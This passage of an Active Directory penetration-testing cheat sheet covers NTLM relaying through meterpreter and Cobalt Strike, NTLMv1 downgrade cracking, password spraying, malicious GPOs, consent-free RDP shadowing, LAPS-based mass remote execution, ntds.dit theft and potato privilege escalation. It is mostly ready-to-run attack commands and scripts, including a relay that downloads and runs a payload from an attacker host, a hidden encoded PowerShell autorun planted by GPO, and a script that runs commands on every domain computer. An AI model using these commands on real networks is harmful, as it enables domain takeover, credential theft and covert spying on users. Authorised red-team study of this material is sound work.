$ cat targets.txt
smb://10.10.13.37
smb://127.0.0.1:8445
```

{% hint style="info" %}
The easier way though is to use the combination of `-of/--output-file hashes.txt -ntlmchallenge 1122334455667788` options to save the hash with a predefined challenge to a file while relaying.
{% endhint %}

Relay NTLM2 responses obtained from Responder's proxy authentication to LDAP(S) (Responder's HTTP must be `Off`):

{% embed url="<https://twitter.com/theluemmel/status/1455099572305416197>" %}

```
$ ntlmrelayx.py -t ldap(s)://DC01.megacorp.local --http-port 3128 [--add-computer] / [--delegate-access [--escalate-user 'PWNED-MACHINE$']] [-socks] --no-smb-server --no-wcf-server --no-raw-server --no-dump [--no-da --no-acl --no-validate-privs]
$ sudo ./Responder.py -I eth0 -wd -P -v
```

## Relaying on Windows

### meterpreter + SharpRelay

* <https://diablohorn.com/2018/08/25/remote-ntlm-relaying-through-meterpreter-on-windows-port-445/>
* <https://github.com/pkb1s/SharpRelay>

Divert incoming SMB traffic from Victim to Attacker's local 445 port through an elevated meterpreter session and relay it to Target via MSF SOCKS server.

1\. Add a static route to the Target through the 1st meterpreter session:

```
meterpreter > route add 192.168.1.11/32 1
```

2\. Start MSF SOCKS server:

```
msf > use auxiliary/server/socks_proxy
msf auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf auxiliary(server/socks_proxy) > run -j
```

3\. Forward a reverse port 8445 on Victim to local port 445 on Attacker and start diverting incoming SMB traffic on Victim to Victim's local 8445 port:

```
meterpreter > portfwd add -R -L 127.0.0.1 -l 445 -p 8445
meterpreter > cd C:\\Windows\\System32\\drivers
meterpreter > upload /home/snovvcrash/www/WinDivert64.sys
msf post(windows/manage/execute_dotnet_assembly) > set SESSION 1
msf post(windows/manage/execute_dotnet_assembly) > set DOTNET_EXE /home/snovvcrash/www/SharpRelay.exe
msf post(windows/manage/execute_dotnet_assembly) > set ARGUMENTS relaysvc "C:\Windows\System32\drivers\WinDivert64.sys" 445 8445
msf post(windows/manage/execute_dotnet_assembly) > run
```

4\. Relay the diverted traffic to Target through SOCKS:

```
$ sudo proxychains4 -q ntlmrelayx.py -t smb://192.168.1.11 -smb2support
```

{% hint style="warning" %}
When ran once, the driver must be unloaded or the host rebooted before trying again. The fake service can be deleted with a PowerShell command:

```
PS > (sc.exe stop relaysvc) -and (sc.exe delete relaysvc)
```

{% endhint %}

### beacon + PortBender

* <https://github.com/praetorian-inc/PortBender>
* <https://rastamouse.me/ntlm-relaying-via-cobalt-strike/>

Set SOCKS server & port forwarding, upload WinDivert driver and configure redirection with PortBender:

```
beacon> socks 1080
beacon> rportfwd 8445 127.0.0.1 445
beacon> cd C:\Windows\System32\drivers
beacon> upload /home/snovvcrash/www/WinDivert64.sys
beacon> PortBender redirect 445 8445
```

Relay the planet:

```
$ sudo proxychains4 -q ntlmrelayx.py -t smb://192.168.1.11 -smb2support --no-http-server --no-wcf-server -c 'powershell -nop -w hidden -c "iex(new-object net.webclient).downloadstring(\"http://10.10.13.37:8080/pwn.ps1\")"'
```

Stop PortBender:

```
beacon> jobs
beacon> jobkill <JID>
beacon> kill <PID>
```

### gost (GO Simple Tunnel)

* <https://github.com/ginuerzh/gost>

```
Cmd > gost.exe -L auto://0.0.0.0:31337
$ gost -L rtcp://0.0.0.0:445/10.10.13.37:445 -F socks5://127.0.0.1:10080 [-F socks5://127.0.0.1:20080 ...] -F socks5://192.168.1.11:31337
```

## CVE-2019-1040

* <https://github.com/fox-it/cve-2019-1040-scanner/blob/master/scan.py>

```
$ python scan.py MEGACORP/snovvcrash:'Passw0rd!'@192.168.1.11
$ python scan.py -target-file DCs.txt MEGACORP/snovvcrash:'Passw0rd!'@placeholder.xyz
```

## CVE-2025-33073

* [\[PDF\] Reflective Kerberos Relay Attack (RedTeam Pentesting)](https://www.redteam-pentesting.de/publications/2025-06-11-Reflective-Kerberos-Relay-Attack_RedTeam-Pentesting.pdf)
* <https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/>
* <https://aegisbyte.com/resources/reflective-kerberos-relay-attack>
* <https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025>

### CVE-2025–54918

* <https://decoder.cloud/2025/11/24/reflecting-your-authentication-when-windows-ends-up-talking-to-itself/>
* <https://yousofnahya.medium.com/hands-on-exploitation-of-cve-2025-54918-cf376ebb40e1>
* <https://github.com/Wh0am123/CVE-2025-54918-POC>


# NTLMv1 Downgrade

* <https://github.com/NotMedic/NetNTLMtoSilverTicket>
* <https://www.praetorian.com/blog/ntlmv1-vs-ntlmv2/>
* <https://www.trustedsec.com/blog/practical-attacks-against-ntlmv1/>
* <https://www.r-tec.net/r-tec-blog-netntlmv1-downgrade-to-compromise.html>

Client sends NTLMv1 response when `LmCompatibilityLevel` exists and is `2` or lower, which can be downgraded to "NTLMv1 w/o SSP" when `NtlmMinClientSec` is `0x20` or lower:

| Property Name                                                                                                                                                          | Property Path                                      |
| ---------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------- |
| [LmCompatibilityLevel](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-security-lan-manager-authentication-level) | `HKLM\SYSTEM\CurrentControlSet\Control\Lsa`        |
| [NtlmMinClientSec](http://systemmanager.ru/win2k_regestry.en/85673.htm)                                                                                                | `HKLM\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0` |

## Check

Check with PowerShell:

```
PS > (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name LmCompatibilityLevel).LmCompatibilityLevel
2
PS > $decValue = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\MSV1_0\ -Name NtlmMinClientSec).NtlmMinClientSec
PS > $hexValue = "0x" + [string]::Format("{0:x}", $decValue)
PS > $hexValue
0x20
```

Check with [Seatbelt](https://github.com/GhostPack/Seatbelt/blob/fa0f2d94a049d825bef77e103e33167250ed2ac0/Seatbelt/Commands/Windows/NtlmSettingsCommand.cs#L149) ([example](https://0xdf.gitlab.io/2021/04/10/htb-apt.html#seatbelt)):

```
Cmd > .\Seatbelt.exe NTLMSettings
```

## Abuse

{% content-ref url="/pages/lU0Zt6to9fvDGWK2fjbk" %}
[Authentication Coercion](/pentest/infrastructure/ad/authentication-coercion)
{% endcontent-ref %}

Abuse with Responder with a known challenge of `1122334455667788` (see **Authentication Coercion** to trigger callbacks):

```
$ sudo ./Responder.py -I eth0 -v --lm --disable-ess
```

## ntlmv1-multi + crack.sh

* <https://crack.sh/netntlm/>
* <https://crack.sh/get-cracking/>
* <https://crack.sh/cracking-ntlmv1-w-ess-ssp/>
* <https://github.com/evilmog/ntlmv1-multi>

Calculate the token:

```
$ python ntlmv1.py --ntlmv1 '<NTLMv1_RESPONSE_STRING>'
```

Check the final 2 bytes (4 characters) of the NT hash:

```
$ ~/tools/hashcat-utils/src/ct3_to_ntlm.bin <CT3> 1122334455667788
```

## Public Rainbow Tables

* <https://ntlmv1.com/>
* <https://cloud.google.com/blog/topics/threat-intelligence/net-ntlmv1-deprecation-rainbow-tables>


# Password Spraying

## Password Policy

Enumerate password policy in the domain:

```
$ cme smb 10.10.13.37 -u snovvcrash -p 'Passw0rd!' --pass-pol
Cmd > net accounts /domain
PS > Get-ADDefaultDomainPasswordPolicy
PV3 > Get-DomainPolicyData | select -ExpandProperty SystemAccess
```

Example of `net accounts` output:

| Name (EN)                              | Name (RU)                                 | Value |
| -------------------------------------- | ----------------------------------------- | ----- |
| Minimum password age (days):           | Минимальный срок действия пароля (дней):  | 1     |
| Maximum password age (days):           | Максимальный срок действия пароля (дней): | 90    |
| Minimum password length:               | Минимальная длина пароля:                 | 10    |
| Length of password history maintained: | Хранение неповторяющихся паролей:         | 24    |
| Lockout threshold:                     | Блокировка после ошибок ввода пароля:     | 7     |
| Lockout duration (minutes):            | Длительность блокировки (минут):          | 30    |
| Lockout observation window (minutes):  | Сброс счетчика блокировок через (минут):  | 30    |

### Fine-Grained Password Policies

* <https://specopssoft.com/blog/create-fine-grained-password-policy-active-directory/>
* <https://pwsh.ru/fine-grained-password-policy-как-создать-детальную-политику/>
* <https://github.com/n00py/GetFGPP>
* <https://en.hackndo.com/password-spraying-lockout/>
* <https://github.com/login-securite/conpass>

Map FGPPs to the users they're being applied to (need admin privileges by default):

```powershell
ForEach ($fgpp in (Get-ADFineGrainedPasswordPolicy -Filter * -Properties Description)) {
    $appliesTo = $fgpp | select -ExpandProperty AppliesTo
    $objectClass = (Get-ADObject $appliesTo).ObjectClass

    Write-Host -ForegroundColor Yellow "`r`nFine Grained Password Policy: $fgpp.name"
    $fgpp | Out-Host

    If ($objectClass -eq "group") {
        Get-ADGroupMember $appliesTo -Recursive | ? {$_.objectClass -eq "user"} | select -ExpandProperty samAccountName | Write-Host -ForegroundColor Green
    }
    ElseIf ($objectClass -eq "user") {
        Get-ADUser $appliesTo | select -ExpandProperty samAccountName | Write-Host -ForegroundColor Green
    }
}
```

{% hint style="info" %}
When it's critical not to cause a lockout on a user account with a FGPP applied, the safest approach would be to exclude users with `msDS-PSOApplied` or `msDS-ResultantPSO` properties populated (can be read by a regular user) from the spray list.

Check if exists:

```
PS > Get-ADUser snovvcrash -Properties * | select msDS-PSOApplied
PS > Get-ADUser snovvcrash -Properties msDS-ResultantPSO | select msDS-ResultantPSO
```

{% endhint %}

## Validate Domain Users

Validate against KDC ([doesn't cause](https://github.com/ropnop/kerbrute#user-enumeration) accounts lock out) via Kerberos with NetExec:

```
$ nxc smb 192.168.1.11 -u users.txt -p '' -k
```

Validate via cLDAP (LDAP Ping) with [ldapnomnom](https://github.com/lkarlslund/ldapnomnom)/[ldeep](https://github.com/franc-pentest/ldeep):

```bash
# ldapnomnom
eget -qs linux/amd64 "lkarlslund/ldapnomnom" --to ~/tools/ldapnomnom
gtcp() { ~/tools/graftcp/local/mgraftcp --socks5="127.0.0.1:${1}" "${@:2}" }
gtcp 1080 [--enable-debug-log] ldapnomnom -input /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -dnsdomain megacorp.local -server 192.168.1.11[,192.168.1.12,192.168.1.13] [-tlsmode TLS -port 636] [-parallel 1] [-throttle 1000] -output valid.txt
# ldeep
pipx install -f "git+https://github.com/franc-pentest/ldeep.git"
proxychains4 ldeep ldap [--no-encryption] -a -d megacorp.local -s ldaps://192.168.1.11:636 enum_users [-d 1000] users
```

Validate via MS-NRPC (Netlogon) with [NauthNRPC](https://github.com/sud0Ru/NauthNRPC):

```
$ python3 nauth.py -t 192.168.1.11 -u users.txt -c comps.txt
```

## Get Domain Users

### Non-Authenticated (Null Session)

* <https://wiki.porchetta.industries/smb-protocol/enumeration/enumerate-null-sessions>
* <https://sensepost.com/blog/2024/guest-vs-null-session-on-windows/>

{% content-ref url="/pages/-Md7StN52MtDn8jrkvmU" %}
[RID Cycling](/pentest/infrastructure/ad/rid-cycling)
{% endcontent-ref %}

If SMB null sessions are allowed on the DC, an adversary can get a list of all domain users via **RID Cycling**.

Another approach is to manually request all users via RPC (`$IPC` share):

#### CrackMapExec

```
$ cme smb DCs.txt -u '' -p ''
$ cme smb DCs.txt -u '' -p '' --users
$ cme smb DCs.txt -u '' -p '' --groups
```

#### rpcclient:

```
$ rpcclient -N -U '' 192.168.1.11
rpcclient $> enumdomusers
rpcclient $> enumdomgroups
```

#### net:

```
$ net rpc group members 'Domain Users' -W 'MEGACORP' -I '192.168.1.11' -U '%'
```

#### smbclient (check):

```
$ smbclient -N -U '' -L 192.168.1.11
```

#### [enum4linux](https://github.com/CiscoCXSecurity/enum4linux) / [enum4linux-ng](https://github.com/cddmp/enum4linux-ng):

```
$ enum4linux -v -a 192.168.1.11 | tee ~/ws/log/enum4linux.out
```

#### [nullinux](https://github.com/m8r0wn/nullinux):

```
$ nullinux.py 192.168.1.11
```

### Authenticated

Query LDAP for all domain user accounts via [GetADUsers.py](https://github.com/fortra/impacket/blob/master/examples/GetADUsers.py):

```
$ GetADUsers.py MEGACORP/snovvcrash:'Passw0rd!' -all -dc-ip 192.168.1.11 | tee ~/ws/log/GetADUsers.out
```

Query LDAP for all domain user accounts via [windapsearch](https://github.com/ropnop/windapsearch):

```
$ python3 windapsearch.py --dc-ip 192.168.1.11 -d megacorp.local -u 'MEGACORP\snovvcrash' -p 'Passw0rd!' -U | tee ~/ws/log/windapsearch.out
$ cat ~/ws/log/windapsearch.out | grep userPrincipalName | grep -v -e '{' -e '}' -e HealthMailbox | awk '{print $2}' | awk -F@ '{print $1}' | perl -nle 'print if m{^[[:ascii:]]+$}' > ~/ws/enum/all-users.txt
```

Query LDAP for all **active** domain user accounts via [go-windapsearch](https://github.com/ropnop/go-windapsearch):

```
$ windapsearch --dc 192.168.1.11 -d megacorp.local -u snovvcrash -p 'Passw0rd!' -m custom --filter '(&(objectCategory=person)(objectClass=user)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' --attrs sAMAccountName,mail,pwdLastSet,lastLogon | tee ~/ws/log/windapsearch.out
$ cat ~/ws/log/windapsearch.out | grep -i samaccountname | grep -v -e '{' -e '}' -e HealthMailbox -e '\$$' | awk '{print $2}' | perl -nle 'print if m{^[[:ascii:]]+$}' | sort -u > ~/ws/enum/all-users-active.txt
```

## Shadow Spray

* <https://github.com/Dec0ne/ShadowSpray>

```
$ python3 pywhisker.py -d megacorp.local -u snovvcrash  -p 'Passw0rd!' --target-list users.txt --action spray -v
```

## Tools

### MSF

```
msf > use auxiliary/scanner/smb/smb_login
msf > set RHOSTS <DC_IP>
msf > set SMBDomain megacorp.local
msf > set SMBPass Passw0rd!
msf > set USER_FILE /home/snovvcrash/ws/enum/all-users.txt
msf > set VERBOSE False
msf > run
```

### kerbrute

* <https://github.com/ropnop/kerbrute>
* <https://github.com/urbanadventurer/username-anarchy>
* <https://github.com/captain-noob/username-wordlist-generator>
* <https://gist.github.com/superkojiman/11076951>

Generate a wordlist of common usernames in an appropriate format and validate it against KDC ([doesn't cause](https://github.com/ropnop/kerbrute#user-enumeration) accounts lock out):

```
$ kerbrute -d megacorp.local -o ~/ws/log/kerbrute-userenum.log userenum ~/ws/enum/names.txt
$ cat ~/ws/log/kerbrute-userenum.log | grep VALID | awk '{print $7}' | awk -F@ '{print $1}' > ~/ws/enum/valid-users.txt
```

Perform password spraying for discovered accounts:

```
$ kerbrute --delay 100 -d megacorp.local -o ~/ws/log/kerbrute-passwordspray-'123456'.log passwordspray ~/ws/enum/valid-users.txt '123456'
$ cat ~/ws/log/kerbrute-passwordspray-*.log | grep VALID | awk '{print $7}' >> ~/ws/loot/creds.txt
```

### pyKerbrute

* <https://github.com/3gstudent/pyKerbrute>

```
$ python2 ADPwdSpray.py 192.168.1.11 megacorp.local users.txt ntlmhash fc525c9683e8fe067095ba2ddc971889 udp
```

### smartbrute

* <https://github.com/ShutdownRepo/smartbrute>

Spray single hash against a list of users:

```
$ smartbrute -v brute --delay 1 --no-enumeration -bU users.txt -bh <HASH_TO_SPRAY> kerberos -d megacorp.local --kdc-ip 192.168.1.11
```

Get domain password policy and active users:

```
$ smartbrute -v smart {--policy|--users} ntlm -d megacorp.local -u snovvcrash -p 'Passw0rd!' --kdc-ip 192.168.1.11
```

Launch smart password spray with a hash:

```
$ smartbrute -v smart --delay 1 -bh <HASH_TO_SPRAY> ntlm -d megacorp.local -u snovvcrash -p 'Passw0rd!' --kdc-ip 192.168.1.11 kerberos
```

### DomainPasswordSpray

* <https://github.com/dafthack/DomainPasswordSpray>

```
PS > Invoke-DomainPasswordSpray -UserList .\all-users.txt -Domain megacorp.local -Password 'Passw0rd!' -OutFile spray-results.txt
```


# Post Exploitation

Post Exploitation in Active Directory

## GPOs

Identify the OU containing the `VICTIM-PC` object:

```
PS > Add-WindowsFeature -Name "RSAT-AD-PowerShell"
PS > Import-Module ActiveDirectory
PS > Get-ADComputer -Identity VICTIM-PC | select DistinguishedName
```

Create a GPO using GPMC:

1. Run > `gpmc.msc`.
2. Create a new GPO in the OU in which `VICTIM-PC` resides.
3. Remove `Authenticated Users` from **Security Filtering** and add `VICTIM-PC` there.
4. Link it to the OU and edit it.

Usually, it takes between 90 and 120 minutes for a new GPO to be applied. Force it with:

```
Cmd > gpudate.exe /force
```

{% tabs %}
{% tab title="Enable RDP" %}

```
<POLICY_NAME>
  Computer Configuration
    Policies
      Administrative Templates
        Windows Components
          Remote Desktop Services
            Remote Desktop Session Host
              Connections
                Allow users to connect remotely using Remote Desktop Services
                  Enabled, OK
```

{% endtab %}

{% tab title="Allow RDP Connections" %}

```
<POLICY_NAME>
  Computer Configuration
    Policies
      Windows Settings
        Security Settings
          Windows Defender Firewall with Advanced Security
            Inbound Rules
              (right-click) New Rule
                Predefined (Remote Desktop)
		          Allow the connection, Finish
```

{% endtab %}

{% tab title="Edit Local Administrators Membership" %}

```
<POLICY_NAME>
  Computer Configuration
    Preferences
      Control Panel Settings
        Local Users and Groups
          (right-click) New > Local Group
            Group name (...)
              Members (Add), OK
                Apply, OK
```

{% endtab %}

{% tab title="Enable Shadow RDP" %}

```
<POLICY_NAME>
  Computer Configuration
    Policies
      Administrative Templates
        Windows Components
          Remote Desktop Services
            Remote Desktop Session Host
              Connections
                Set rules for remote control of Terminal Services user sessions
                  Enabled + Options (Full Control without user's permission), OK
```

{% endtab %}

{% tab title="Immediate Scheduled Task" %}

```
<POLICY_NAME>
  Computer Configuration
    Policies
      Preferences
        Control Panel Settings
          Scheduled Tasks
            (right-click) New > Immediate Task (At least Windows 7)
```

{% endtab %}
{% endtabs %}

### Reach a Locked-down Domain Computer

* [How to Hack Like a Pornstar / Best hacking books for aspiring hackers - Real life hacking scenarios](https://www.sparcflow.com/best-hacking-books/)

If you find yourself in a situation when you're already a domain admin and you need to access a locked-down domain computer (no RDP/WinRM, no SMB shares, no owned local admins, etc.), creating an evil GPO may help.

Create a GPO using PowerShell (will trigger a command when the victim user logs in):

```
PS > Add-WindowsFeature -Name "GPMC"
PS > Import-Module GroupPolicy
PS > New-GPO -Name EvilPolicy -Domain megacorp.local -Server DC01.megacorp.local
PS > Set-GPPermission -Name EvilPolicy -Replace -PermissionLevel GpoApply -TargetName "victim.user" -TargetType User
PS > Set-GPPermission -Name EvilPolicy -Replace -PermissionLevel GpoApply -TargetName "VICTIM-PC" -TargetType Computer
PS > Set-GPPermission -Name EvilPolicy -PermissionLevel None -TargetName "Authenticated Users" -TargetType Group
PS > New-GPLink -Name EvilPolicy -Domain megacorp.local -Target "<TARGET_OU>" -Order 1 -Enforced Yes
PS > Set-GPRegistryValue -Name EvilPolicy -Key "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName MSstart -Type String -Value "powershell.exe -NoP -sta -NonI -W Hidden -Exec Bypass -Enc <BASE64_CMD>"
```

Enable ADMIN shares manually by restoring [AutoShareServer](https://learn.microsoft.com/ru-ru/troubleshoot/windows-server/networking/remove-administrative-shares):

```
$ atexec.py -nooutput megacorp.local/snovvcrash:'Passw0rd!'@192.168.1.11 'reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareServer /t REG_DWORD /d 1 /f && net stop server && net start server'
```

### Shadow RDP

* <https://swarm.ptsecurity.com/remote-desktop-services-shadowing/>
* <https://winitpro.ru/index.php/2014/02/12/rds-shadow-v-windows-2012-r2/>
* <https://darkbyte.net/autordpwn-la-guia-definitiva/>
* <https://github.com/JoelGMSec/AutoRDPwn>

Enable Shadow RDP via group policies or by manually setting the registry and connect to an active session on the target machine.

Enable:

```
Cmd > reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4 (or 2 for mstsc /control) /f
Cmd > netsh advfirewall firewall set rule name="Remote Desktop - Shadow (TCP-In)" new enable=yes
Cmd > netsh advfirewall firewall set rule name="File and Printer Sharing (SMB-In)" new enable=yes
PS > New-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" -Name "Shadow" -PropertyType "DWORD" -Value 4 (or 2 for mstsc /control) -Force
PS > Enable-NetFirewallRule RemoteDesktop-Shadow-In-TCP
PS > Enable-NetFirewallRule FPS-SMB-In-TCP*
```

Shadow the RDP:

```
Cmd > qwinsta.exe /server:192.168.1.11
Cmd > mstsc.exe /v:192.168.1.11 /shadow:<ID> /noConsentPrompt [/control]
```

Cleanup:

```
Cmd > reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /f
Cmd > netsh advfirewall firewall set rule name="Remote Desktop - Shadow (TCP-In)" new enable=no
Cmd > netsh advfirewall firewall set rule name="File and Printer Sharing (SMB-In)" new enable=no
PS > Remove-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" -Name "Shadow" -Force
PS > Disable-NetFirewallRule RemoteDesktop-Shadow-In-TCP
PS > Disable-NetFirewallRule FPS-SMB-In-TCP*
```

#### RpcShadow2

* <https://red.c3r3br4t3.com/red-team-operations/lateral-movement/shadowrdp>
* <https://github.com/c3r3br4t3/ShadowRDP>
* <https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsts/4c6481f4-a1cc-4c76-abc1-3ece834e6451>
* <https://learn.microsoft.com/en-gb/windows/win32/api/rdpencomapi/nn-rdpencomapi-irdpsrapisharingsession>
* <http://www.rohitab.com/discuss/topic/41626-rdp-com-server-client/>

## Run on Domain Computers

* [How to Hack Like a Pornstar / Best hacking books for aspiring hackers - Real life hacking scenarios](https://www.sparcflow.com/best-hacking-books/)

An example PowerShell script to execute commands as a local admin on all domain computers pulling LAPS passwords automatically:

{% code title="ADComputersCmd.ps1" %}

```powershell
 # Save with Encoding "UTF-8 with BOM"

[System.Console]::OutputEncoding = [System.Text.Encoding]::UTF8
$ErrorActionPreference = "Stop"

$command = '[System.Console]::OutputEncoding = [System.Text.Encoding]::UTF8; '
$command += 'whoami > C:\Windows\Temp\whoami.txt 2>&1'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)

Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | ? {$_.name -ne $(hostname)} | select name,ms-Mcs-AdmPwd | ForEach-Object {
	$comp = $_."name"
	$pass = $_."ms-Mcs-AdmPwd"

	if (Test-Connection -BufferSize 32 -Count 1 -ComputerName $comp -Quiet) {
		try {
			$cred = New-Object System.Management.Automation.PSCredential("$comp\administrator", $(ConvertTo-SecureString $pass -AsPlainText -Force))
			$proc = Invoke-WmiMethod Win32_Process -Name Create -ArgumentList ("powershell -enc $encodedCommand") -ComputerName $comp -Credential $cred

			do {
				Write-Host -ForegroundColor Green "[*] Waiting for script to finish on $comp"
				Start-Sleep -Seconds 2
			} until ((Get-WmiObject -Class Win32_Process -Filter "ProcessId=$proc.ProcessId" -ComputerName $comp -Credential $cred | where {$_.ProcessId -eq $proc.ProcessId}).ProcessId -eq $null)

			net use "\\$comp" /user:administrator $pass 2>&1 | Out-Null
			Get-Content "\\$comp\C$\Windows\Temp\whoami.txt"
			Remove-Item "\\$comp\C$\Windows\Temp\whoami.txt" -Force
			net use "\\$comp" /delete 2>&1 | Out-Null
		}
		catch {
			Write-Host -ForegroundColor Red "[-] Connection failure: $comp"
		}
	}
	else {
		Write-Host -ForegroundColor Yellow "[!] Connection timed out: $comp"
	}
}
```

{% endcode %}

## Locate DFS Targets

Locate a root target:

```
Cmd > dfsutil root \\megacorp.local\MyShare
PS > Get-DfsnRootTarget \\megacorp.local\MyShare
```

Locate a root folder:

```
PS > Get-DfsnFolderTarget \\megacorp.local\MyShare\Documents
```

One-liner:

```
PS > Get-DfsnRoot | % {Get-DfsnFolder ($_.Path + "\*")} | % {Get-DfsnFolderTarget $_.Path} | ft -AutoSize
```

## House Cleaning

Remove the last tunnel while operating from it:

{% tabs %}
{% tab title="Operator" %}
{% code title="ScheduledTask.ps1" %}

```powershell
$ScriptPath = "C:\Windows\System32\cleanup.ps1"
$Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -File `"$ScriptPath`""
$Trigger = New-ScheduledTaskTrigger -Once -At (Get-Date).AddMinutes(2)
$Principal = New-ScheduledTaskPrincipal -UserId "NT AUTHORITY\SYSTEM" -LogonType ServiceAccount -RunLevel Highest
$Settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -ExecutionTimeLimit (New-TimeSpan -Minutes 10)
Register-ScheduledTask -TaskName "Pentest Cleanup" -TaskPath "Microsoft\Windows\" -Action $Action -Trigger $Trigger -Principal $Principal -Settings $Settings -Force -ErrorAction Stop
```

{% endcode %}
{% endtab %}

{% tab title="Cleanup Script" %}
{% code title="cleanup.ps1" %}

```powershell
# ... cleanup routines ...
Unregister-ScheduledTask -TaskName "Pentest Cleanup" -TaskPath "Microsoft\Windows\" -Confirm:$false
Remove-Item -Path $MyInvocation.MyCommand.Path -Force
```

{% endcode %}
{% endtab %}
{% endtabs %}


# Pre-created Computers Abuse

Pre-created Computer Accounts & Pre-Windows 2000

## ACL Abuse on Pre-Windows 2000 Computers

* <https://www.trustedsec.com/blog/diving-into-pre-created-computer-accounts/>
* <https://www.optiv.com/insights/source-zero/blog/diving-deeper-pre-created-computer-accounts>
* <https://github.com/garrettfoster13/pre2k>
* <https://github.com/eversinc33/Invoke-Pre2kSpray>

Search for machines that never updated their passwords:

```
$ cat 19700101000000_computers.json | jq '.data[].Properties | select(.enabled == true and .pwdlastset == 0) | .name' -r > pre2k.txt
```

Initiate a pitchfork spray against them:

```
$ pre2k unauth -d megacorp.local -dc-ip 192.168.1.11 -inputfile pre2k.txt -sleep 10 -jitter 30 -threads 1
```

Change password to authenticate via NTLM:

```
$ changepasswd.py megacorp.local/'PC01$:pc01'@192.168.1.11 -newpass 'Passw0rd!' -protocol kpasswd -dc-ip 192.168.1.11
```

## ACL Abuse on Pre-created Computers

* <https://dirkjanm.io/abusing-forgotten-permissions-on-precreated-computer-objects-in-active-directory/>


# PrivExchange

CVE-2019-0686, CVE-2019-0724

* <https://github.com/dirkjanm/PrivExchange>
* <https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/>

{% embed url="<https://twitter.com/_wald0/status/1091062691383238656>" %}

Check:

```
$ sudo ./Responder.py -I eth0 -Av
$ python privexchange.py -d MEGACORP -u snovvcrash -p 'Passw0rd!' -ah 10.10.13.37 --attacker-page '/test/test/test' exch01.megacorp.local --debug
```

Exploit:

```
$ ntlmrelayx.py -t ldap://DC01.megacorp.local --escalate-user snovvcrash --no-smb-server --no-wcf-server --no-raw-server --no-dump --no-da --no-acl --no-validate-privs
$ python privexchange.py -d MEGACORP -u snovvcrash -p 'Passw0rd!' -ah 10.10.13.37 exch01.megacorp.local --debug
```


# Privileges Abuse

* <https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/>
* <https://github.com/hatRiot/token-priv>
* <https://github.com/gtworek/Priv2Admin>


# SeBackupPrivilege & SeRestorePrivilege

Search for `SeBackupPrivilege` through GPO policies:

```
$ gci -Path \\$ENV:USERDNSDOMAIN\sysvol\$ENV:USERDNSDOMAIN\Policies\ -Recurse -File  -ErrorAction SilentlyContinue | Select-String "SeBackupPrivilege"
```

## File Copy

* <https://github.com/giuliano108/SeBackupPrivilege>
* <https://0xdf.gitlab.io/2020/10/03/htb-blackfield.html#priv-svc_backup--administrator>

```
wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeCmdLets.dll
wget https://github.com/giuliano108/SeBackupPrivilege/raw/master/SeBackupPrivilegeCmdLets/bin/Debug/SeBackupPrivilegeUtils.dll

upload SeBackupPrivilegeCmdLets.dll
upload SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Import-Module .\SeBackupPrivilegeUtils.dll
Copy-FileSeBackupPrivilege W:\Windows\NTDS\ntds.dit C:\Users\snovvcrash\Documents\ntds.dit -Overwrite
download ntds.dit
```

### robocopy

* <https://0xdf.gitlab.io/2020/09/19/htb-multimaster.html#read-as-system>

```
PS > cmd /c where robocopy
PS > robocopy /B W:\Windows\NTDS\ntds.dit C:\Users\snovvcrash\Documents\ntds.dit
```

## Registry

* <https://github.com/mpgn/BackupOperatorToDA>
* <https://github.com/improsec/BackupOperatorToolkit>
* <https://github.com/snovvcrash/RemoteRegSave>
* <https://github.com/horizon3ai/backup_dc_registry>

## Modify GPO

* <https://systemweakness.com/expoiting-and-detecting-privilege-escalation-via-a-windows-backup-operator-attack-and-detection-a97e67644214>


# SeImpersonatePrivilege

## Restore Privileges

* <https://itm4n.github.io/localservice-privileges/>

## Leaked Handles

* <https://www.tarlogic.com/blog/token-handles-abuse/>
* <https://github.com/blackarrowsec/Handly>
* <https://rastamouse.me/safehandle-vs-intptr/>


# Potatoes

* <https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html>
* <https://hideandsec.sh/books/windows-sNL/page/in-the-potato-family-i-want-them-all>

## RottenPotato

* <https://foxglovesecurity.com/2016/09/26/rotten-potato-privilege-escalation-from-service-accounts-to-system/>
* <https://github.com/foxglovesec/RottenPotato>

```
$ curl -L https://github.com/foxglovesec/RottenPotato/raw/master/rottenpotato.exe > r.exe
meterpreter > upload r.exe
meterpreter > load incognito
meterpreter > execute -cH -f r.exe
meterpreter > list_tokens -u
meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM"
```

## LonelyPotato

* <https://decoder.cloud/2017/12/23/the-lonely-potato/>
* <https://github.com/decoder-it/lonelypotato>

